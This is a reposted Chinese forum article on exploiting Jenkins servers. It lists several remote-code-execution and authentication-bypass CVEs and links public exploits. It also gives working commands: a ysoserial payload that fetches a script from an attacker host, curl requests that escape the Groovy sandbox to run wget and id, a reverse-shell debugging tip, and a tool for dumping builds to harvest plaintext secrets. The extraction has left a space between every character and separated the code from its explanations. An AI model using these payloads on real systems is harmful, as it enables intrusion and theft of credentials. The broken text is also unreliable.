搜索

[29075] 2021-07-19_【漏洞利用】关于攻击Jenkins服务器的注意事项

文档创建者：s7ckTeam
浏览次数：63
最后更新：2025-01-19
2021-07-19_【漏洞利用】关于攻击Jenkins服务器的注意事项 【 漏 洞 利 用 】 关 于 攻 击   J e n k i n s   服 务 器 的 注 意 事 项 O t s 安 全   2 0 2 1 - 0 7 - 1 9 点 击 上 方 蓝 字 “ O t s 安 全 ” 一 起 玩 耍 远 程 代 码 执 行 远 程 代 码 执 行 旧   J e n k i n s   中 的 反 序 列 化   R C E （ C V E - 2 0 1 5 - 8 1 0 3 ， J e n k i n s   1 . 6 3 8   及 更 早 版 本 ） 使 用 y s o s e r i a l 生 成 有 效 负 载 。 然 后   R C E   使 用 这 个 脚 本 ： 身 份 验 证 身 份 验 证 / A C L   绕 过 （ 绕 过 （ C V E - 2 0 1 8 - 1 0 0 0 8 6 1 ， ， J e n k i n s   < 2 . 1 5 0 . 1 ） ） 详 情 请 看 这 里 。 h t t p s : / / b l o g . o r a n g e . t w / 2 0 1 9 / 0 1 / h a c k i n g - j e n k i n s - p a r t - 1 - p l a y - w i t h - d y n a m i c - r o u t i n g . h t m l 如 果   J e n k i n s   请 求 身 份 验 证 但 使 用 以 下 请 求 返 回 有 效 数 据 ， 则 它 很 容 易 受 到 攻 击 ： J e n k i n s   插 件 中 的 元 编 程 插 件 中 的 元 编 程   R C E （ （ C V E - 2 0 1 9 - 1 0 0 3 0 0 0 、 、 C V E - 2 0 1 9 - 1 0 0 3 0 0 1 、 、 C V E - 2 0 1 9 - 1 0 0 3 0 0 2 ） ） 原 始   R C E   漏 洞 在 这 里 h t t p s : / / b l o g . o r a n g e . t w / 2 0 1 9 / 0 2 / a b u s i n g - m e t a - p r o g r a m m i n g - f o r - u n a u t h e n t i c a t e d - r c e . h t m l 完 整 利 用 在 这 里 h t t p s : / / g i t h u b . c o m / p e t e r c u n h a / j e n k i n s - r c e 具 有 整 体 / 读 取 和 作 业 / 配 置 权 限 的 替 代   R C E 在 这 里 h t t p s : / / g i t h u b . c o m / a d a m y o r d a n / c v e - 2 0 1 9 - 1 0 0 3 0 0 0 - j e n k i n s - r c e - p o c J e n k i n s   中 的 中 的   C h e c k S c r i p t   R C E （ （ C V E - 2 0 1 9 - 1 0 0 3 0 2 9 、 、 C V E - 2 0 1 9 - 1 0 0 3 0 3 0 ） ） 使 用   G r o o v y   检 查   J e n k i n s   实 例 是 否 易 受 攻 击 （ 需 要 整 体 / 读 取 权 限 ） ： 执 行 仲 裁   b a s h   命 令 ： 如 果 您 没 有 立 即 获 得 反 向   s h e l l ， 您 可 以 通 过 抛 出 异 常 进 行 调 试 ： J e n k i n s   中 的 中 的   G i t   插 件 插 件   ( < 3 . 1 2 . 0 )   R C E   ( C V E - 2 0 1 9 - 1 0 3 9 2 ) 只 有 当 用 户 在 安 全 矩 阵 中 具 有 “ 作 业 / 配 置 ” 权 限 时 ， 它 才 有 效 ， 因 此 它 非 常 具 体 。 转 储 构 建 以 查 找 明 文 秘 密 转 储 构 建 以 查 找 明 文 秘 密 使 用 此 脚 本 转 储 构 建 控 制 台 输 出 和 构 建 环 境 变 量 ， 希 望 能 找 到 明 文 秘 密 。 j a v a   - j a r   y s o s e r i a l - m a s t e r . j a r   C o m m o n s C o l l e c t i o n s 1   ' w g e t   m y i p : m y p o r t   - O   / t m p / a . s h '   >   p a y l o a d . o u t . / j e n k i n s _ r c e . p y   j e n k i n s _ i p   j e n k i n s _ p o r t   p a y l o a d . o u t c u r l   - k   - 4   - s   h t t p s : / / e x a m p l e . c o m / s e c u r i t y R e a l m / u s e r / a d m i n / s e a r c h / i n d e x ? q = a c u r l   - k   - 4   - X   P O S T   " h t t p s : / / e x a m p l e . c o m / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t / "   - d   " s a n d b o x = T r u e "   - d   ' v a l u e = c l a s s   a b c d { a b c d ( ) { s l e e p ( 5 0 0 0 ) } } ' c u r l   - k   - 4   - X   P O S T   " h t t p s : / / e x a m p l e . c o m / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t / "   - d   " s a n d b o x = T r u e "   - d   ' v a l u e = c l a s s   a b c d { a b c d ( ) { " w g e t   x x . x x . x x . x x / b l a . t x t " . e x e c u t e ( ) } } ' c u r l   - k   - 4   - X   P O S T   " h t t p s : / / e x a m p l e . c o m / d e s c r i p t o r B y N a m e / o r g . j e n k i n s c i . p l u g i n s . s c r i p t s e c u r i t y . s a n d b o x . g r o o v y . S e c u r e G r o o v y S c r i p t / c h e c k S c r i p t / "   - d   " s a n d b o x = T r u e "   - d   ' v a l u e = c l a s s   a b c d { a b c d ( ) { d e f   p r o c = " i d " . e x e c u t e ( ) ; d e f   o s = n e w   S t r i n g B u f f e r ( ) ; p r o c . w a i t F o r P r o c e s s O u t p u t ( o s ,   S y s t e m . e r r ) ; t h r o w   n e w   E x c e p t i o n ( o s . t o S t r i n g ( ) ) } } ' u s a g e :   j e n k i n s _ d u m p _ b u i l d s . p y   [ - h ]   [ - u   U S E R ]   [ - p   P A S S W O R D ]   [ - o   O U T P U T _ D I R ]                                                             [ - l ]   [ - r ]   [ - d ]   [ - s ]   [ - v ]                                                             u r l   [ u r l   . . . ] D u m p   a l l   a v a i l a b l e   i n f o   f r o m   J e n k i n s p o s i t i o n a l   a r g u m e n t s :     u r l o p t i o n a l   a r g u m e n t s :
更 多 内 容 参 考 原 文 ： h t t p s : / / g i t h u b . c o m / g q u e r e / p w n _ j e n k i n s 阅 读 原 文 o p t i o n a l   a r g u m e n t s :     - h ,   - - h e l p                         s h o w   t h i s   h e l p   m e s s a g e   a n d   e x i t     - u   U S E R ,   - - u s e r   U S E R     - p   P A S S W O R D ,   - - p a s s w o r d   P A S S W O R D     - o   O U T P U T _ D I R ,   - - o u t p u t - d i r   O U T P U T _ D I R     - l ,   - - l a s t                         D u m p   o n l y   t h e   l a s t   b u i l d   o f   e a c h   j o b     - r ,   - - r e c o v e r _ f r o m _ f a i l u r e                                                 R e c o v e r   f r o m   s e r v e r   f a i l u r e ,   s k i p   a l l   e x i s t i n g                                                 d i r e c t o r i e s     - d ,   - - d o w n g r a d e _ s s l       D o w n g r a d e   S S L   t o   u s e   R S A   ( f o r   l e g a c y )     - s ,   - - n o _ u s e _ s e s s i o n     D o n ' t   r e u s e   t h e   H T T P   s e s s i o n ,   b u t   c r e a t e   a   n e w   o n e   f o r                                                 e a c h   r e q u e s t   ( f o r   l e g a c y )     - v ,   - - v e r b o s e                   D e b u g   m o d e
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理